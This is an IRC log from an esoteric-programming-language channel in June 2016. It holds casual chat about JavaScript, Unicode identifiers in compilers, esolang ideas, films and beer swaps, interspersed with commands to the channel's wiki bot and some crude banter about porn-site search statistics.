23:42:08 -!- hwpplayer1 has left.
23:43:12 -!- Lord_of_Life has joined.
23:43:43 -!- lamer14662894610 has joined.
23:43:48 <quintopia> boily boily boily
23:43:58 <boily> quintopia quintopia quintopia
23:44:16 <quintopia> oh good
23:44:50 <quintopia> you have to respond because im drunk on beer and otherwise ill assume you hate me
23:45:07 -!- moon_ has quit (Ping timeout: 252 seconds).
23:46:06 <boily> you are quintopia, enjoying bière du québec! c'est ce qu'il faut!
23:46:39 -!- Sprocklem has quit (Ping timeout: 264 seconds).
23:46:42 <quintopia> i dont french much
23:48:09 <boily> translation: tu es quintopia, en train d'apprécier beer from quebec! that's how it should be!
23:50:01 <quintopia> do you enjoy beer from ga?
23:50:13 -!- Lord_of_Life has quit (Read error: Connection reset by peer).
23:55:24 <quintopia> helloren
23:59:33 <boily> I haven't gabeered yet.
23:59:45 <boily> time to disappear to farfaraway lands...
23:59:56 -!- boily has quit (Quit: THAT CHICKEN).
2016-06-19
00:03:12 -!- Lord_of_Life has joined.
00:05:18 -!- MoALTz has quit (Quit: Leaving).
00:16:11 -!- Lord_of_Life has quit (Quit: EliteBNC free bnc service - http://elitebnc.org - be a part of the Elite!).
00:24:45 -!- sebbu has quit (Ping timeout: 260 seconds).
00:30:34 -!- sebbu has joined.
00:50:14 <Phantom_Hoover> im reading ethereum drama and seeing them describe javascript as 'low-level'
00:50:27 <Phantom_Hoover> i think basically JS just distorts reality away from all that is sane and good
00:51:03 <zzo38> I am not sure why they describe JavaScript as "low-level".
00:53:12 <zzo38> There are a few problems with JavaScript such as automatic-semicolon-insertion, but mostly it is OK I think. But some things are better programmed in other programming languages such as C or assembly language.
00:55:14 <zzo38> (A few of the other problems would be that it lacks macros and goto)
00:55:31 -!- lamer14662894610 has changed nick to moonythedwarf.
00:56:45 <moonythedwarf> im starting to like lde
00:56:48 <moonythedwarf> *lxde
00:57:08 <pikhq> Phantom_Hoover: Javascript, low level?
00:57:13 <pikhq> What madness.
00:58:33 <Phantom_Hoover> the funny part is that they are (correctly) calling the ethereum community a pack of script kiddies who know fuck all about actual coding, whilst showing that they themselves know fuck all about actual coding
00:58:35 <zzo38> I use a window manager without a desktop environment.
00:59:03 -!- Melvar` has joined.
00:59:34 <moonythedwarf> Generally, im trying to get a IDE running
00:59:35 -!- Melvar has quit (Disconnected by services).
00:59:39 -!- Melvar` has changed nick to Melvar.
00:59:47 <moonythedwarf> is there one that works good with LXDE?
00:59:53 <zzo38> IDE for what?
01:00:00 <moonythedwarf> C/C++
01:00:31 <zzo38> I don't know; I don't use LXDE or any other desktop environment, nor do I use any IDE.
01:00:50 -!- idris-bot has quit (Ping timeout: 258 seconds).
01:01:58 -!- idris-bot has joined.
01:04:03 <Phantom_Hoover> i just... oh my god why would you invent money governed by autonomous code running with no oversight and then say "i know what language we'll use for this! JS!"
01:04:41 <zzo38> I don't know? It doesn't make much sense to me
01:10:32 <shachaf> `? klein bottle
01:11:26 <HackEgo> A Klein bottle is like a torus, but more insidious. Taneb tried to invent it, but got trapped inside.
01:11:38 <shachaf> oerjan++ # excellent unintentional pun
01:12:41 <myname> which pun?
01:13:54 <shachaf> The last word of the first sentence.
01:14:20 <int-e> oh right he claimed that it was unintentional
01:14:29 <int-e> I found that hard to believe
01:39:38 -!- spockers_ has changed nick to spockers.
01:50:12 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
02:09:46 -!- hppavilion[1] has joined.
02:09:54 <hppavilion[1]> It's always annoying when 9/11 is referred to as "the most defining event of the century"
02:10:06 <hppavilion[1]> I mean, what was the most defining event of the 20th century?
02:12:37 <myname> 21st century, no?
02:22:15 -!- lamer14662988574 has joined.
02:23:51 -!- moonythedwarf has quit (Ping timeout: 240 seconds).
02:24:30 -!- lamer14662988574 has quit (Client Quit).
02:25:12 -!- Lord_of_Life has joined.
02:25:50 -!- moonythedwarf has joined.
02:36:10 -!- Lord_of_Life has quit (Quit: EliteBNC free bnc service - http://elitebnc.org - be a part of the Elite!).
02:51:12 -!- Lord_of_Life has joined.
02:58:45 -!- Lord_of_Life has quit (Ping timeout: 260 seconds).
03:08:37 -!- FredStockton has joined.
03:20:49 -!- hppavilion[1] has quit (Ping timeout: 260 seconds).
03:27:27 -!- FredStockton has left.
03:28:04 -!- lambda-11235 has joined.
03:32:14 -!- augur has joined.
03:42:12 -!- Lord_of_Life has joined.
03:43:58 -!- augur has quit (Read error: Connection reset by peer).
03:50:01 -!- Lord_of_Life has quit (Quit: EliteBNC free bnc service - http://elitebnc.org - be a part of the Elite!).
03:54:05 -!- Sgeo has joined.
03:54:14 -!- augur has joined.
03:57:48 -!- augur has quit (Remote host closed the connection).
04:01:49 <tswett> What *was* the most defining event of the 20th century?
04:01:51 <tswett> Hiroshima?
04:05:15 -!- augur has joined.
04:09:01 -!- lamer14663052626 has joined.
04:09:12 -!- Lord_of_Life has joined.
04:10:06 -!- lamer14663052626 has changed nick to moon_.
04:10:24 <moon_> I now offically LOVE linux
04:11:25 <zzo38> OK. What kind of distribution and software and so on are you using?
04:11:53 -!- moonythedwarf has quit (Ping timeout: 250 seconds).
04:12:56 -!- xkapastel has joined.
04:15:11 -!- augur has quit (Remote host closed the connection).
04:15:22 <moon_> Debian LXDE/Terminal Editor: Nano/Kdevelop etc etc
04:15:45 <moon_> Also, i have yet to get it on a actual pc ): im stuck with guest additions
04:16:13 -!- Lord_of_Life has quit (Ping timeout: 250 seconds).
04:20:21 <moon_> well now my internet is being annoying and i running at 20 kb/s )=
04:27:28 -!- augur has joined.
04:28:42 -!- Lord_of_Life has joined.
04:30:44 -!- variable has joined.
04:34:21 -!- Lord_of_Life has quit (Ping timeout: 258 seconds).
04:38:21 -!- augur has quit (Remote host closed the connection).
04:40:04 <moon_> Seamless mode helps alot
04:41:35 -!- augur has joined.
04:59:12 -!- Lord_of_Life has joined.
05:05:20 -!- Lord_of_Life has quit (Ping timeout: 260 seconds).
05:12:54 -!- variable has quit (Quit: 1 found in /dev/zero).
05:15:43 -!- Destructible has joined.
05:17:05 <Destructible> hi
05:17:40 <Destructible> ello?
05:18:11 <Destructible> anybody?
05:18:12 <izabera> hi
05:18:16 <Destructible> yay
05:18:21 <Destructible> hi izabera
05:18:32 <izabera> yo
05:18:51 <moon_> hi izabera
05:18:57 <Destructible> hi moon_
05:18:58 <izabera> hello
05:19:55 <Destructible> so, I had an idea for an esolang again
05:20:05 <moon_> what is it
05:20:15 <Destructible> in a nutshell
05:20:25 <Destructible> functions that call functions that call functions
05:20:37 <moon_> functions only?
05:20:41 <zzo38> And then what?
05:20:54 <moon_> Functions only has been done
05:21:09 <Destructible> yes
05:21:11 <Destructible> I know
05:21:29 <Destructible> the idea is that the main code can only be so long
05:21:36 <Destructible> like, 10 characters or something
05:21:51 <Destructible> and so functions have to be used, to contain the code
05:22:03 <Destructible> but functions also have a ten character limit
05:22:15 <zzo38> I think that is also done, kind of
05:22:26 <Destructible> maybe
05:23:26 <moon_> sounds like minimalized functonalized C
05:28:48 -!- Destructible has quit (Ping timeout: 250 seconds).
05:29:06 -!- hppavilion[1] has joined.
05:29:42 <hppavilion[1]> myname: My point was (a) it's 2016, we don't know what the defining event of the century is and (b) even if it was 2100, we probably couldn't name the most defining event of the modern era
05:29:51 -!- clog has quit (Ping timeout: 240 seconds).
05:30:42 -!- Lord_of_Life has joined.
05:31:54 <hppavilion[1]> "Radical centrism"
05:35:33 -!- APic has quit (Ping timeout: 246 seconds).
05:35:57 -!- Lord_of_Life has quit (Ping timeout: 250 seconds).
05:38:43 -!- APic has joined.
05:41:25 -!- Destructible has joined.
05:42:22 <hppavilion[1]> The head of Human Resources at a company should have the title ASE (All-Seeing Eye)
05:43:43 <hppavilion[1]> "However, there are no fnords in the advertisements"
05:43:48 <hppavilion[1]> -- Actual Wikipedia Quote
05:48:29 <Destructible> really
05:54:18 <hppavilion[1]> Destructible: Yes
05:54:31 <hppavilion[1]> Destructible: Granted, it's the page for the The Illuminatus! Trilogy
05:54:39 <hppavilion[1]> Destructible: Which is what brought 'fnord' into popular usage
05:54:46 <Destructible> ok
05:56:12 <coppro> didn't it also invent fnord
05:56:33 <hppavilion[1]> coppro: No, Principia Discordia invented fnord
05:57:12 -!- Lord_of_Life has joined.
06:07:14 -!- clog has joined.
06:08:03 -!- augur has quit (Read error: Connection reset by peer).
06:08:36 -!- augur has joined.
06:10:14 -!- augur has quit (Read error: Connection reset by peer).
06:10:24 <Destructible> p
06:14:21 -!- augur has joined.
06:26:48 <Destructible> hi
06:29:22 -!- moon_ has quit (Ping timeout: 252 seconds).
06:30:02 -!- moon_ has joined.
06:33:17 -!- Destructible has quit (Quit: Page closed).
06:36:14 -!- hppavilion[1] has quit (Ping timeout: 260 seconds).
06:50:20 -!- moon_ has quit (Ping timeout: 260 seconds).
07:03:34 -!- augur has quit (Remote host closed the connection).
07:25:14 -!- augur has joined.
07:30:12 -!- variable has joined.
07:33:37 <izabera> http://www.binsim.com/ really interesting
07:37:07 -!- lambda-11235 has quit (Quit: Bye).
07:52:34 -!- LexiciScriptor has joined.
08:00:41 -!- augur has quit (Ping timeout: 250 seconds).
08:08:04 -!- augur has joined.
08:08:55 -!- Kaynato has quit (Ping timeout: 244 seconds).
08:12:24 -!- hppavilion[1] has joined.
08:16:06 <hppavilion[1]> *sees square in picture* illuminati debunked
08:16:08 -!- variable has quit (Quit: 1 found in /dev/zero).
08:42:48 -!- augur has quit (Remote host closed the connection).
08:54:51 -!- gamemanj has joined.
08:55:56 -!- AnotherTest has joined.
09:09:24 <hppavilion[1]> It's weird how YouTube says a particular channel was active n hours ago, but won't tell you what that activity was- if it wasn't a new video, it isn't listed at all
09:32:25 <hppavilion[1]> Hm, perhaps I should roll different first-person personal pronouns into my pronountroll not for usage by myself but by /those addressing me/
09:50:00 <hppavilion[1]> The internet is an amazing place
09:51:15 <hppavilion[1]> It's always fun to discover something you'd never think was possible that is now profitable
09:52:51 <hppavilion[1]> Like, I would tell you this was an April Fool's joke if I hadn't stumbled across it myself
09:59:03 -!- LexiciScriptor has quit (Quit: LexiciScriptor).
10:15:34 -!- hppavilion[1] has quit (Ping timeout: 260 seconds).
10:30:22 -!- Destructible has joined.
10:30:24 <Destructible> hi
10:35:29 -!- LexiciScriptor has joined.
10:40:11 <Destructible> hi
10:40:37 -!- Destructible has quit (Quit: Page closed).
10:41:35 -!- LexiciScriptor has quit (Quit: LexiciScriptor).
10:43:43 -!- augur has joined.
10:48:03 -!- augur has quit (Ping timeout: 244 seconds).
11:05:40 -!- Phantom_Hoover has joined.
11:06:41 <myname> https://t.co/V1SRLKfCo7 c++
11:09:13 -!- MoALTz has joined.
11:11:08 <int-e> unicode is crazy... though in this particular instance one might question the wisdom of allowing whitespace in identifiers.
11:12:10 <gamemanj> It's simple.
11:12:17 <gamemanj> Compiler developers like to remain sane
11:12:23 <int-e> `unidecode аa
11:12:41 <gamemanj> If compiler devs had to keep track of Unicode and decide which characters are "suitable", they'd go nuts.
11:12:47 <HackEgo> ​[U+0430 CYRILLIC SMALL LETTER A] [U+0061 LATIN SMALL LETTER A]
11:13:11 <gamemanj> So they just handle it in UTF-8 and mark 0x80 to 0xFF as ID characters.
11:13:50 <gamemanj> So if you want to use emoji as variable names...
11:13:53 <gamemanj> you can
11:14:06 <gamemanj> The compiler devs just don't care since otherwise they'd go nuts.
11:14:46 <int-e> My main point was that disallowing whitespace would not really solve that problem, since there are distinct unicode codepoints that map to the same glyph anyway
11:16:42 <myname> gamemanj: you usually can just use a unicode library and say "anything that is a letter can be a variable name"
11:17:01 <myname> i am pretty sure zws do not fit in that category
11:17:05 -!- jaboja has joined.
11:17:27 <gamemanj> myname: let me just go look at the size of some files for a sec...
11:18:31 <gamemanj> File: 'libicudata.so.57.1'
11:18:31 <gamemanj> Size: 25674392
11:18:41 <myname> int-e: you are right with your example. however, you could in theory make an editor render them differently wheres doing so on a zws is not always an option
11:18:43 <gamemanj> now go look at a windows installation of, say, Wireshark
11:18:53 <gamemanj> and you should see the problem with embedding one of these with every program
11:19:09 <myname> who said anything about embedding?
11:19:18 <gamemanj> On Linux it's a system lib but on Windows you don't get that
11:19:22 <myname> also, who cares about that size
11:19:45 <gamemanj> 24MB is pretty big when there's a much simpler solution
11:19:51 <gamemanj> which covers every sane usecase
11:19:58 <gamemanj> and is the solution that other C compilers use too
11:20:06 <myname> it is oretty big, but it is not a problem at all with current drive sizes
11:20:18 <gamemanj> Not a problem, but why bother
11:20:50 <myname> doing things the right way often is the right way
11:21:53 <gamemanj> When the right way involves shipping a 25MB library just to distingulish between characters, for a parser for a language which doesn't really need to know that information anyway,
11:22:02 <gamemanj> I doubt anyone really cares
11:22:31 <int-e> Obviously you don't need all of those 25MB for the compiler.
11:22:42 <int-e> But all this is besides the point.
11:23:40 <int-e> The C language designers (mostly compiler writers) have made a decision, and it's up to the programmers to deal with them... by making sane coding style choices.
11:24:01 <int-e> "don't use zero-width spaces in your identifiers" seems like a no-brainer.
11:25:02 <int-e> (for most purposes I would stick to ASCII outside of comments anyway)
11:25:18 <int-e> and possibly literal strings... depends.
11:25:57 -!- hppavilion[1] has joined.
11:38:09 <hppavilion[1]> Am I the only one around here who wants to put all color TV to shame by making movies that are in MORE than full color?
11:38:16 <hppavilion[1]> By including IR and UV
11:38:43 <gamemanj> ...give me juuust a second to find a scene that would be really good if it was replicated via this technology
11:39:09 <hppavilion[1]> gamemanj: Any movie that includes a nuclear detonation would also include GR
11:39:26 <gamemanj> well, I have something just a tad WORSE
11:40:24 -!- hppavilion[1] has set topic: The intradisciplinary hub of solidity matrices, esoteric programming language design, multichannel bot abuse (always safe, sane and consensual), and font forging | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf.
11:40:27 <gamemanj> almost done...
11:40:44 <hppavilion[1]> gamemanj: What is it?
11:40:52 <gamemanj> uploading...
11:41:34 <hppavilion[1]> gamemanj: uploading?
11:41:48 <gamemanj> ...waiting for things to actually synchronize...
11:42:09 <gamemanj> (Things are running rather slowly today)
11:42:16 <gamemanj> https://dl.dropboxusercontent.com/u/21184720/vlcsnap-2016-06-19-11h40m17s769.png
11:42:25 <gamemanj> this
11:42:56 <gamemanj> I'm sure they'll love it to death
11:43:24 <hppavilion[1]> gamemanj: My god that would be amazing
11:43:39 <hppavilion[1]> And it's actually possible because that scene appears to be 100% CGI
11:44:01 <hppavilion[1]> (Though it wouldn't work for the whole film, as not all of it is CGI apparently)
11:44:06 <gamemanj> film?
11:44:39 <hppavilion[1]> gamemanj: That's from the new Star Wars, isn't it?
11:44:44 <gamemanj> Actually it's the second episode of the first-2005-reboot series of Doctor Who.
11:44:49 * hppavilion[1] prepares to seppuku if he's wrong
11:44:53 <hppavilion[1]> Oh?
11:44:56 <hppavilion[1]> Let me look again
11:45:08 <hppavilion[1]> Oh yeah, it is
11:45:18 <hppavilion[1]> The one in the year 10^9
11:45:27 <hppavilion[1]> One gigayear in the future
11:45:32 <hppavilion[1]> And other sciency puns
11:45:37 <gamemanj> Still, the fact you got it so wrong shows that taxpayer money isn't going to waste
11:45:51 <hppavilion[1]> See, I remember seeing a ship looks like the space station in the new Star Wars
11:45:54 <gamemanj> Or, at least, wasn't.
11:46:34 <hppavilion[1]> It may have been something else, I suppose
11:47:30 <hppavilion[1]> Maybe I saw it in a HISHE for one of the prequels?
11:48:36 <hppavilion[1]> I could have also seen it in a meme and assumed it was from somewhere else for some reason
11:48:40 <hppavilion[1]> I'm a real geek, I swear
11:49:42 <gamemanj> Show me your registration card, then!
11:51:45 <gamemanj> ...
11:52:27 <hppavilion[1]> gamemanj: Shall I FTP it to you? It's signed with GPG, though my GPG is so secure that my public key is a secret
11:52:39 -!- jaboja has quit (Ping timeout: 264 seconds).
11:52:42 <myname> lol ftp
11:52:43 <gamemanj> your public key is a secret.
11:52:45 <gamemanj> ...
11:52:48 <gamemanj> and FTP.
11:52:49 <hppavilion[1]> gamemanj: Correct
11:52:56 <gamemanj> who uses FTP nowadays...
11:53:06 <hppavilion[1]> FTP = fuckin' telecommunications protocols...
11:53:19 <hppavilion[1]> Not to be confused with the more limited FTP = File Transfer Protocol
11:54:11 <myname> all you do is making it worse
11:57:11 <hppavilion[1]> It's funny that the south is the largest consumer of porn tagged "ebony" in the US
11:57:38 <gamemanj> it's rather unusual that you have access to such data
11:57:44 <hppavilion[1]> (well, I suppose that could be the black population rather than the outwardly racist population)
11:57:53 <hppavilion[1]> gamemanj: Not really; there are lots of studies
11:58:02 <gamemanj> by WHO
11:58:14 <hppavilion[1]> gamemanj: Many porn sites have given anonymous statistics to scientists or even published the studies themselves
11:58:39 <hppavilion[1]> gamemanj: Pornhub has an entire subdomain dedicated to research and data analysis
11:58:45 <int-e> porn is degrading, I don't see any contradiction
11:59:04 <gamemanj> scientific smutty sites setup studies showing some statistical subtleties
11:59:26 <hppavilion[1]> Their labs are, of course, staffed by beautiful women wearing lab coats and glasses because the producers think it makes them look smarter
11:59:47 <gamemanj> what next, red hair?
12:00:27 <hppavilion[1]> int-e: Is it /really/ though? I mean, if you're homophobic, you don't tend to watch lots of gay porn (well, unless you're homophobic BECAUSE you're gay and you're trying to make up for it because of the gay shaming that religion has brought down on you)
12:01:30 <hppavilion[1]> My home state clearly has high rates of ADHD; the top search term here is "compilation"
12:02:12 <hppavilion[1]> (Then again, maybe that's just me)
12:02:44 <hppavilion[1]> Oh, there's a canada version
12:02:56 <hppavilion[1]> I'd name the searches, but I don't canada
12:03:19 <hppavilion[1]> They appear to be big on (a) animation-based and (b) racially-cast
12:03:28 <myname> at least it's not cumpilation
12:04:39 <hppavilion[1]> myname: They probably lumped that in but called it "compilation" because it's less obscene
12:05:14 <myname> less obscene equals less good
12:05:19 <hppavilion[1]> The Yukon Territory is big on... tickling? Really?
12:05:37 <hppavilion[1]> And- to no one's surprise- the top term in Quebec is literally "Quebec"
12:06:14 <hppavilion[1]> There are literally 4 different provinces that all search by race, and /all of the races are different/
12:07:11 <hppavilion[1]> According to the world map
12:07:28 <hppavilion[1]> The most viewed category by women on /the entire north american continent/ is "Lesbian"
12:07:33 <hppavilion[1]> Russian women are fans of anal
12:08:02 <hppavilion[1]> No data for Saudi Arabia of course
12:08:10 -!- int-e has left.
12:08:53 <hppavilion[1]> Oh, the canada map was weighted based on other provinces
12:10:29 <hppavilion[1]> Oooh, this is fun, a map of what states should be embarassed for googling more than everyone else(non-porn)
12:10:39 <hppavilion[1]> Alaska is too interested in Nicholas Cage
12:10:50 <hppavilion[1]> South Dakota loves Lion Hunting
12:11:05 <hppavilion[1]> Rhode island- appropriately- wants to know the average penis size
12:11:19 <hppavilion[1]> Marylanders don't know whether they're virgins
12:11:41 <hppavilion[1]> Illinois...ans want to know whether WWE is fake (it is)
12:11:58 <hppavilion[1]> Michigan... does way too many image searches for "outhouse"
12:12:26 <hppavilion[1]> (wait, that's wisconsin)
12:13:47 -!- int-e has joined.
12:14:00 <hppavilion[1]> My home city is a fan of smoking... weird, I've never searched for that
12:15:34 <hppavilion[1]> Far too many people search for "Thanksgiving", by which I mean any at all
12:16:45 <hppavilion[1]> OK, honestly Pornhub, don't try to do statistics involving age
12:16:57 <hppavilion[1]> You know as well as we do it won't be accurate
12:25:55 -!- xkapastel has quit (Quit: Connection closed for inactivity).
12:26:35 -!- oerjan has joined.
12:33:39 -!- iaglium has quit (Ping timeout: 276 seconds).
12:37:08 <int-e> oerjanello
12:41:34 <hppavilion[1]> oerjan: The current channel discussion is: Search statistics
12:42:31 <oerjan> i shall search for it. linearly.
12:42:40 <hppavilion[1]> "Because your forebears oppressed our forebears, we are justified in hating you"
12:42:46 <oerjan> internoon-e
12:43:09 <oerjan> i'm in luck, i'm not descended from bears
12:43:27 <hppavilion[1]> oerjan: Really? Most people have about 4 in their family tree
12:43:35 <oerjan> shocking
12:43:41 <hppavilion[1]> Hm, what's the most recent common ancestor of bears and humans?
12:44:42 -!- augur has joined.
12:46:48 <oerjan> hppavilion[1]: probably back in the cretaceous, if i'm reading wikipedia right
12:47:11 <hppavilion[1]> oerjan: Have you seen Wikipedia's List of Cetations, btw?
12:47:20 <oerjan> yes.
12:47:25 <izabera> hppavilion[1]: http://www.growlrapp.com/
12:47:52 <hppavilion[1]> oerjan: That's convenient. Has everyone in the channel read every Wikipedia page?
12:48:19 <hppavilion[1]> izabera: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH I've been looking for something like that
12:48:31 <izabera> is that a scream of joy?
12:48:35 <hppavilion[1]> (A convenient lookup of who to target my hatecrimes at)
12:48:39 * hppavilion[1] is a terrible person
12:49:05 -!- augur has quit (Ping timeout: 260 seconds).
12:49:21 <hppavilion[1]> https://www.youtube.com/watch?v=YuOBzWF0Aws ("If Google Was a Guy", collegehumor)
12:49:53 <hppavilion[1]> (Someone Searches "Boston Bomber", Guygle says "Real Tragedy" and she appends "Cute One")
12:50:46 <izabera> did you just say guygle
12:51:05 <oerjan> hppavilion[1]: paleontologists and molecular geneticists disagree on just about everything there btw hth
12:51:19 <hppavilion[1]> izabera: Yes
12:51:30 <oerjan> hppavilion[1]: only those pages that were mentioned yesterday hth
12:57:02 <hppavilion[1]> I wonder if Science can sue Google to get them to stop offering results claiming vaccines cause autism on the grounds that think of the children
13:03:08 <hppavilion[1]> Aww, google refuses to do an aileron roll
13:07:18 <hppavilion[1]> Flatland as directed by Michael Bay
13:09:15 <gamemanj> so the lines are assasins now?
13:09:21 <hppavilion[1]> http://www.flatlandthemovie.com/ exists?
13:10:06 <hppavilion[1]> Oh, it's on youtube
13:10:07 <hppavilion[1]> I think
13:15:50 <hppavilion[1]> Waaaaaaaaait
13:15:57 <hppavilion[1]> They have a square whose son is a hexagon
13:16:04 <hppavilion[1]> I smell inaccuracy
13:16:25 <oerjan> hppavilion[1]: polygonist!
13:16:37 <hppavilion[1]> oerjan: That doesn't work
13:16:47 <oerjan> sideist!
13:17:05 <hppavilion[1]> oerjan: That's like arguing it's racist to be confused when a white couple's child is black (and no adoption or such has occurred)
13:17:22 <hppavilion[1]> (I just had to check I said "adoption" instead of "abduction")
13:18:42 <hppavilion[1]> Hm, it's interesting that there are no parallelograms in Flatland (I suppose it has to do with irregularity, but still)
13:21:01 <hppavilion[1]> There are also no ovals...
13:26:02 <gamemanj> 4 + 1 = 6
13:26:06 <gamemanj> that's standard maths
13:26:40 <gamemanj> ...unless you consider a line to be infinitely thin but two-sided
13:26:46 <gamemanj> then it works
13:27:32 <gamemanj> Square (4) + Line (2) == Hexagon (6)
13:29:52 <gamemanj> so in other news I think hppavilion[1] should start a class called "Flatland Genetics And You: How To Optimize For Success"
13:30:10 <gamemanj> with this newfound information
13:31:22 <hppavilion[1]> gamemanj: In modal logic, the sum of two positive numbers can be less than the normal sum. But are there any places it can be more?
13:32:15 <gamemanj> As I said, it might not be special maths
13:32:27 <gamemanj> Just a different consideration of a line
13:36:59 <izabera> https://github.com/facebookresearch/darkforestGo they opened darkforest
13:57:59 <oerjan> <boily> `` sed -i 's/voluminous/above average, not too voluminous, /' wisdom/taneb <-- WHAT DID YOU DO TO YOUR EYEBROWS
13:58:52 <oerjan> `? taneb
13:59:16 <HackEgo> Taneb is not elliott, no matter who you ask. He also isn't a rabbi although he has pretended in the past. He has at least two backup keyboards with dodgy SHIFT KEys, cube root of eight genders, and above average, not too voluminous, but calm eyebrows. (See also: tanebventions)
13:59:49 <oerjan> `slwd taneb//s/ but/but/
13:59:58 <HackEgo> wisdom/taneb//Taneb is not elliott, no matter who you ask. He also isn't a rabbi although he has pretended in the past. He has at least two backup keyboards with dodgy SHIFT KEys, cube root of eight genders, and above average, not too voluminous, but calm eyebrows. (See also: tanebventions)
14:06:04 <gamemanj> `wisdom tanebventions
14:06:09 <HackEgo> tanebventions: math//Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, the reals, Lambek's lemma, pointless topology, and histograms.
14:19:01 <hppavilion[1]> gamemanj: Oh! I found where I saw the similar image!
14:19:05 <hppavilion[1]> https://www.youtube.com/watch?v=Z2JU4gX6rg8
14:19:48 <gamemanj> When?
14:19:58 <gamemanj> 1:42?
14:20:08 <gamemanj> my goodness
14:20:11 <gamemanj> you can see the polygons
14:20:24 <gamemanj> in that "sphere"
14:23:36 <oerjan> <int-e> I found that hard to believe <-- IT'S TRUE I SWEAR
14:29:35 <hppavilion[1]> What's the proper penance for thinking "You know what would've made the original trilogy better?"
14:33:33 <hppavilion[1]> https://www.youtube.com/watch?v=qSgJeVwjnpc almost makes the prequels seem good
14:34:36 <oerjan> hppavilion[1]: reading through all of darths & droids hth
14:57:49 <hppavilion[1]> Wow, tvtropes is already preparing for the next president by referring to Obama as "then-president Barack Obama"
14:57:53 -!- jaboja has joined.
14:58:29 <gamemanj> well, better to start now vs. find yourself outdated later
14:58:46 <gamemanj> by the time all the references have been found it'll have happened
14:59:34 -!- Frooxius has quit (Quit: *bubbles away*).
14:59:54 -!- Frooxius has joined.
15:00:50 -!- APic has quit (Read error: No route to host).
15:01:12 -!- LexiciScriptor has joined.
15:02:33 <hppavilion[1]> I hate the math clock so much
15:02:44 <hppavilion[1]> Because it lists 9 as "3(pi-0.14)"
15:03:40 -!- APic has joined.
15:07:20 -!- Koen_ has joined.
15:09:23 <oerjan> gamemanj: clearly the solution is to use a template
15:22:28 <quintopia> helloerjan
15:24:52 <oerjan> quintellopia
15:26:14 <quintopia> what is your fagorite animal to consume, if any?
15:26:24 <quintopia> favorite
15:27:56 -!- PinealGlandOptic has joined.
15:31:58 -!- boily has joined.
15:32:51 <quintopia> helloily
15:33:09 -!- lambda-11235 has joined.
15:33:37 <oerjan> bohily
15:34:10 -!- LexiciScriptor has quit (Quit: LexiciScriptor).
15:34:38 <quintopia> oerjan wont tell me his favorite animal to consume. what is yours?
15:35:32 <boily> quinthellopia! not too hungover from a night of debauchery and wild abandon?
15:35:37 <boily> hellørjan!
15:35:45 <quintopia> a little bit yes
15:35:52 <boily> I think my all time favourite is pork.
15:36:05 <quintopia> but i have some salty pig and biscuits to comfort me
15:37:16 <boily> oerjan: what is your favourite animal to consume?
15:37:27 <boily> quintopia: real southern biscuits?
15:38:59 <HackEgo> [wiki] [[MailBox]] https://esolangs.org/w/index.php?diff=47234&oldid=34448 * IAM * (+63)
15:41:37 <quintopia> i dunno. probably tinned biscuits. my dad makes the real homecooked ones
15:42:37 <quintopia> so...do you need gabeer?
15:44:37 -!- adu has joined.
15:44:53 <boily> I could use some gabeer, yes.
15:46:23 <quintopia> beerswap? if there are any quebeers besides unibroue, that is
15:46:39 <quintopia> *quebieres
15:46:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
15:47:03 <oerjan> <gamemanj> The compiler devs just don't care since otherwise they'd go nuts. <-- GHC does call a unicode classification API. which means some identifiers suddenly got illegal last they updated the Unicode version.
15:47:49 <oerjan> and also they're not entirely consistent on the whitespace handling.
15:47:58 <oerjan> (which i reported as a bug once)
15:49:12 -!- LexiciScriptor has joined.
15:49:19 -!- LexiciScriptor has quit (Client Quit).
15:50:48 <oerjan> boily: koalas hth
15:52:16 <oerjan> . o O ( be queer with quebeer )
15:52:29 <boily> quintopia: there are many beers besides Unibroue!
15:52:49 <quintopia> joy
15:52:55 <boily> beerswap!
15:53:07 <boily> are koalas edible?
15:53:13 <oerjan> almost certainly.
15:53:43 <quintopia> tasty tasty chlamydia
15:53:58 <quintopia> that is certainly misspelled
15:54:10 <boily> sgtm hth
15:58:11 <quintopia> `? sgtm
15:58:22 <HackEgo> Sergeant Mustard
15:58:30 <quintopia> oh okay
15:58:41 <quintopia> so tdnhful
15:58:43 <boily> Seems Good To Me hth
15:58:48 <boily> `? nah
15:58:51 <HackEgo> no ambiguity here
15:59:32 <quintopia> i lost your address. (in my irclogs somewhere but you're /right there/)
15:59:49 <quintopia> how many beers are in a swap?
16:00:42 <boily> eeeeeh... I'd say at least two: a northbound beer and a southbound one.
16:01:39 -!- jaboja has quit (Ping timeout: 264 seconds).
16:01:47 <boily> but a single beer is boring.
16:03:26 -!- hppavilion[1] has joined.
16:06:32 <HackEgo> [wiki] [[Semantic Brain]] M https://esolangs.org/w/index.php?diff=47235&oldid=45555 * SilverWingedSeraph * (-1) Fix number of cells on the data tape.
16:08:29 <quintopia> yes
16:08:44 <quintopia> so what is the ideal number
16:10:23 <boily> a pair of beers sounds right for a start, to gauge postal fees and if it's feasible and stuff like that.
16:12:59 <quintopia> sftm
16:13:22 -!- adu has quit (Quit: adu).
16:14:13 <oerjan> `learn SFTM is the Science Fiction Theory of Mail.
16:14:18 <HackEgo> Learned 'sftm': SFTM is the Science Fiction Theory of Mail.
16:14:43 -!- jaboja has joined.
16:18:18 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
16:19:42 * boily casts orb of destruction. FOOM!
16:19:48 * boily cackles evilly :D
16:21:44 <quintopia> :(
16:24:02 <boily> was playing crawl, and blasting critters away.
16:24:19 <boily> I ain't be destroying nobody here! that'd be mean.
16:47:51 -!- jaboja has quit (Ping timeout: 264 seconds).
16:49:20 <quintopia> i just found a cute blog.
16:49:43 <quintopia> an oldie writing about growing up in england in the 50s
16:50:01 <quintopia> filled with sneering condescion towards the youth of today
16:50:46 <quintopia> *condescencion
16:53:16 <HackEgo> [wiki] [[Semantic Brain]] M https://esolangs.org/w/index.php?diff=47236&oldid=47235 * SilverWingedSeraph * (+0) /* Language overview */
16:57:22 -!- oerjan has quit (Quit: leaving).
17:00:40 -!- hwpplayer1 has joined.
